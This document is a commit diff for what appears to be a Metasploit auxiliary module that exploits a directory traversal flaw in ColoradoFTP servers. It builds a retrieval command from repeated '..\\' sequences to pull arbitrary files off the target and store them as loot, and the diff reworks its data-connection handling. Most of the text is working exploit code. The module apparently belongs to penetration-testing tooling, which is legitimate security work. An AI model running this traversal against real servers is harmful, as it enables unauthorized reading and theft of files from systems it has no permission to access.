updates per @bigendiansmalls fork
parent
3c916c303d
commit
ba174f3f92
|
@ -59,53 +59,32 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
begin
|
||||
c = connect_login
|
||||
return unless c
|
||||
sock = data_connect
|
||||
connect_login
|
||||
file_path = datastore['PATH']
|
||||
file = ::File.basename(file_path)
|
||||
|
||||
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
|
||||
# and #7582
|
||||
if sock.nil?
|
||||
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
|
||||
print_status(error_msg)
|
||||
elog(error_msg)
|
||||
# make RETR request and store server response message...
|
||||
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
|
||||
res = send_cmd_data( ['get', retr_cmd], '')
|
||||
unless res.nil?
|
||||
print_status(res[0])
|
||||
response_data = res[1]
|
||||
else
|
||||
file_path = datastore['PATH']
|
||||
file = ::File.basename(file_path)
|
||||
|
||||
# make RETR request and store server response message...
|
||||
retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}"
|
||||
res = send_cmd( ["retr", retr_cmd], true)
|
||||
print_status(res)
|
||||
|
||||
# dont assume theres still a sock to read from. Per #7582
|
||||
if sock.nil?
|
||||
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
|
||||
print_status(error_msg)
|
||||
elog(error_msg)
|
||||
return
|
||||
else
|
||||
# read the file data from the socket that we opened
|
||||
response_data = sock.read(1024)
|
||||
end
|
||||
|
||||
unless response_data
|
||||
print_error("#{file} not found")
|
||||
return
|
||||
end
|
||||
|
||||
if response_data.length == 0
|
||||
print_status("File (#{file_path})from #{peer} is empty...")
|
||||
return
|
||||
end
|
||||
|
||||
# store file data to loot
|
||||
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
|
||||
vprint_status("Data returned:\n")
|
||||
vprint_line(response_data)
|
||||
print_good("Stored #{file_path} to #{loot_file}")
|
||||
print_error("#{file} not found or invalid login")
|
||||
return
|
||||
end
|
||||
|
||||
if response_data.length == 0
|
||||
print_status("File (#{file_path})from #{peer} is empty...")
|
||||
return
|
||||
end
|
||||
|
||||
# store file data to loot
|
||||
loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path)
|
||||
vprint_status("Data returned:\n")
|
||||
vprint_line(response_data)
|
||||
print_good("Stored #{file_path} to #{loot_file}")
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
vprint_error(e.message)
|
||||
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
|
||||
|
|
Loading…
Reference in New Issue